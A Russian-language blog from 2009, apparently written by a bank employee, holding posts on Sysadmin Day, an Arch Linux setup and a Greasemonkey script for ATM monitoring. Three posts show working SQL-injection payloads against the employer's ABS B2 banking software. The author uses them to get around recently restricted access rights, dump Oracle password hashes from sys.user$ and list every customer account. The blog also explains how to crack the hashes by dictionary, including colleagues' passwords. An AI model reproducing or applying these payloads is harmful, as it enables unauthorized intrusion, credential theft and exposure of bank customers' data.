пятница, 31 июля 2009 г.

День сисадмина - 10 лет!

Поздравляю!
Сегодня, 31 июля 2009 года, день системного администратора отмечает свое десятилетие!

История.
История профессионального праздника — Дня системного администратора, или, в американском варианте — Дня благодарности системному администратору (System Administrator Appreciation Day) — начинается с 1999 года. В один прекрасный день системному администратору из Чикаго Тэду Кекатосу (Ted Kekatos) пришла в голову мысль организовать профессиональный праздник своих коллег.

Первым шагом к осуществлению данной идеи послужило то, что Тэд официально зарегистрировал домен SysAdminDay.com и создал там веб-сайт. Он решил отмечать День системного администратора в последнюю пятницу июля.

Так и повелось, каждый год, в последнюю пятницу июля, администраторы корпоративных и домашних сетей, баз данных, почтовых систем, программных комплексов и другие «бойцы невидимого фронта» отмечают свой профессиональный праздник.

Интересно.
Кстати, в том же 1999 году Папа Римский Иоанн Павел II официально назвал Святого Исидора покровителем пользователей компьютеров и сети Интернет.

Заключение.
Если вы читаете эти строки, то поблагодарите сасадмина и помните, что он или она — это только один из сотен или даже тысяч тех, чьим трудом электронные письма бесперебойно приходят в ваш ящик, осуществляется бесплатный звонок в любой уголок планеты, приходят любимые рассылки и читаются полезные сайты.

Авторские права. использовался материал сайта www.calend.ru

четверг, 30 июля 2009 г.

АБС Б2. Получение hashkeys.

Решил сделать отдельный пост посвященный именно получению хэш-паролей. Он будет продолжением предыдущего поста "Хранение паролей в Oracle" и дополнением к посту "АБС Б2. Ограничили доступ?".

Платформа для экспериментов в АБС Б2.
Заходим на формочку /Документы/Подтипы документов/ она состоит из трех полей. Это нам дает возможность создавать маленькие подзапросики для вывода нужной нам информации. Например, вывод хэша из таблицы user$ ))).

Формируем пользовательский фильтр.
На форме нажимаем F7, отобразиться форма фильтров, нажимаем на "редактировать" начинаем настраивать сам пользовательский фильтр. Выбираем поле "Код", операцию "одно из" и в значение прописываем строку:
0) union select user#, name, password from sys.user$ where password is not null order by 2 --
После нажимаем применить и принять. На форму выведется результат запроса в виде:
id | user | hashkey
--------------------
1 | sys | 89nf838v
...| ... | ...
А что делать с полученными данными было написано в предыдущем посте ...

среда, 29 июля 2009 г.

Хранение паролей в Oracle.

В сети встречал статьи с описанием метода хранения паролей в базе данных Oracle. Вот пришло время проверить на практике данные теории. В базе существует таблица user$, в которой хранятся хэши паролей пользователей. Заглянем в нее и выберем из нее хэши тех пользователей, которые нас интересуют. Например, SYS.

Немного теории - алгоритм создания хэша:

  1. Конкатенировать логин и пароль пользователя (обозначим эту операцию ||).
  2. Преобразовать полученную строку к верхнему регистру (UPPER(Логин||Пароль)).
  3. Если в ОС используется однобайтовая кодировка, то преобразовать каждый символ в двухбайтовый, заполнив старший байт нулями (0x00).
  4. Зашифровать получившуюся строку (дополняя ее нулями до длины блока), используя алгоритм DES в режиме CBC с фиксированным ключом, значение которого есть 0x0123456789ABCDEF.
  5. Зашифровать получившуюся строку еще раз с помощью DES-CBC, но используя последний блок предыдущего шага как ключ шифрования.
По адресу http://www.red-...ords.html находится замечательная статья с которой все началось, а также программка позволяющая осуществить подбор пароля по словарю. Моя история заканчивается на моменте, что в словарях, находящихся в архиве, присутствовал пароль установленный на системном пользователе.

АБС Б2. Невероятный реверс.
Разработчики программного комплекса АБС Б2, немного повысили безопасность, и пароль пользователя немного преобразовывают, перед тем как с этими данными будет выполнено подключение к базе данных. Сделали они довольно просто - проведя реверс строки с паролем. Поэтому если вы захотите "восстановить" пароли своих сотоварищей, то сделайте реверс паролей в файле wordlist и вперед... )))

пятница, 24 июля 2009 г.

Arch Linux. Очередной этап безделия.

Задача.
Решил на рабочей машинке установить linux и проверить его возможности в качестве рабочей операционной системы. Все что от нее может потребоваться - работа с офисными документами, почтовый клиент lotus notes, возможность подключаться к терминальному серверу через rdp и конечно-же Firefox.

Решение.
Выбор пал на маленький дистрибутив archlinux'а. Установка заняло много времени, т.к. возникали вопросы на которые я не знал где искать ответы. После войны в 3 дня на моем компьютере уже красовался archlinux со своим знаменитым KDE4.2.

Приложения.
OpenOffice заменил стандартный офисный пакет от Microsoft.
Firefox - любимый браузер, который я пока не собираюсь менять.
Lotus Notes был запущен с windows-раздела при помощи Wine.
Krdc - клиент удаленного рабочего стола.

Проблемы.
Единственная проблема - шрифты. То не отображают текст, то очень коряво смотрятся.

вторник, 21 июля 2009 г.

UPC online. Изменение внешнего вида.

В прошлом месяце изменился интерфейс "upc-online". Как и ранее, в новой версии представления данных разработчики показывают на главной странице только номера банкоматов, без их названий, поэтому пришла в голову идея - написать скритп greasemonkey, который будет дополнять номера названием и расположением девайса.

//==UserScript==
//@name UPC OnLine
//@namespace http://userscripts.org/
//@description UPC OnLine AutoRedirect, AutoReload
//@include https://<>/*
//==/UserScript==

mas_orig = new Array(
"1111", // 1
"2222", // 2
// ...
"9999" // 99
);

mas_lang = new Array(
"название и адрес банкомата 1111", // 1
"название и адрес банкомата 2222", // 2
// ...
"название и адрес банкомата 9999" // 99
);

if( /monitor.cfm/.test( location.href ) )
{
window.setTimeout( "window.location.href = window.location.href;", 360000 );
snapResults = document.evaluate( "//a[@class='datalink']", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );
for( i = 0; i < snapResults.snapshotLength; i++ ) {
for( j in mas_orig )
if( mas_orig[ j ] == snapResults.snapshotItem( i ).childNodes[ 0 ].data )
{

snapResults.snapshotItem( i ).childNodes[ 0 ].data = mas_lang[ j ];
}
}
}
}

if( /news.cfm/.test( location.href ) )
{
window.location.href = window.location.href.replace( /news/, "atm/monitor" );
}
Также в скрипт воткнул авто-переход на страницу мониторинга банкоматов и авто-перезагрузку страницы с периодичностью в три минуты.

понедельник, 20 июля 2009 г.

АБС Б2. Ограничили доступ?

Думаю вы замечали что разработчики в своем продукте Б2 прибегали к довольно интересным "пользовательским фильтрам" для отображения необходимых данных при переходе на другую форму. Такой трюк заставил обратить на себя внимание и отпечатался где-то далеко в памяти. После того как мои права ограничили я сразу вспомнил о подзапросах разработчиков.

Документация.
Изучение мануалов дало понять что никаких ограничений не существует в формировании "пользовательского фильтра", кроме ограничения - фантазии и знания азов SQL.

Пример.
Заглянем на форму "счета\аналитические счета". Обычная форма, вывод данных согласно выданных прав - просмотр одного отделения. Форма по-умолчанию смотрит на вьювер VAACCOUNT, который загружает данные с VIntAAccount. В последнем вьювере идет проверка прав и соответствующий вывод данных. Немножко меняем, точнее удаляем из него проверки, и получаем чистый запрос - возвращающий информацию о всех счетах - экранируем его скобочками, полученный результат указан ниже. Теперь мы готовы к проверке - нажимаем F7 и приступаем к редактированию "пользовательского фильтра".

Рис. 1 - редактор пользовательского фильтра.

В редакторе выбираем операцию "одно из", указываем совершенно любое "поле" и в "значение" вставляем запрос который у нас получился:
0) union (SELECT a.ID, a.accountno, a.description, b.ID baccountid, SUBSTR (b.NAME, 1, 25) baccountsname, b.activepassive_a090 activepassive, c.ID contragentid, c.sname contragentsname, c.nickname contragentnickname, c.contragrankid contragrankid, contragrank.sname contragranksname, a.lockremark, cur.ID currencyid, cur.sname currencysname, a.dateopen, a.datelastmove, a.dateclose, DECODE (SIGN (a.summabegin), -1, -a.summabegin, 0) summabeginactive, DECODE (SIGN (a.summabegin), 1, a.summabegin, 0) summabeginpassive, DECODE (SIGN (a.summanow), -1, -a.summanow, 0) summanowactive, DECODE (SIGN (a.summanow), 1, a.summanow, 0) summanowpassive, a.debet, a.credit, DECODE (SIGN (a.summanowvirtual), -1, -a.summanowvirtual, 0) summanowvirtualactive, DECODE (SIGN (a.summanowvirtual), 1, a.summanowvirtual,0) summanowvirtualpassive, astate.ID accountstateid, astate.sname accountstatesname, a.parentbaccountid, a.accountlimit, a.OPERATOR, a.summabegin,a.summanow, a.accountpassport, ABS (a.summabegin) abssummabegin, ABS (a.summanow) abssummanow, a.isparent, a.activatedate, a.auth_actionid auth_actionid, DECODE (NVL (a.auth_actionid, 0), 1, 'Добавление', 2, 'Изменение', 3, 'Удаление', 'нет' ) auth_action_name, a.approvedby approvedby, a.approveddate approveddate, a.modifiedby modifiedby, a.toboid, tobo.sname tobosname, a.special, a.siteid, a.BeginCloseDate, to_date(null) arcdate, substr(a.accountno, 6) accountcode FROM aaccount a, baccount b, contragent c, contragrank, currency cur, accountstate astate, tobo WHERE a.baccountid = b.ID AND a.contragentid = c.ID AND a.currencyid = cur.ID AND a.accountstateid = astate.ID AND c.contragrankid = contragrank.ID AND tobo.ID = a.toboid AND c.siteid = a.siteid AND tobo.siteid = a.siteid and a.accountstateid != 2
Замечания.
Для корректной работы "пользовательских sql-запросов" необходимо проверить, чтобы сортировка полей была выключена.

Домашнее задание.
1. Кто знает способ корректно обрабатывать сортировки, о которых я написал в замечании, прошу сообщить в комментария, думаю это будет полезно для всех.
2. Пишите запросы которые вас выручили в трудную минуту.

воскресенье, 19 июля 2009 г.

Вступительное слово

На мой взгляд, каждый сталкивался с переизбытком свободного времени на работе. Тоже приключилось и со мною, после воплощения в жизнь, головной конторой, проекта с кодовым названием "централизация" - у нашего отдела были урезаны права доступа к программным комплексам, работающих в организации.

С уменьшением прав пропорционально росло свободное время.

Хоть мой блог и первый пост были созданы в выходной день, обязуюсь последующие сообщения размещать в будни с рабочего компьютера )))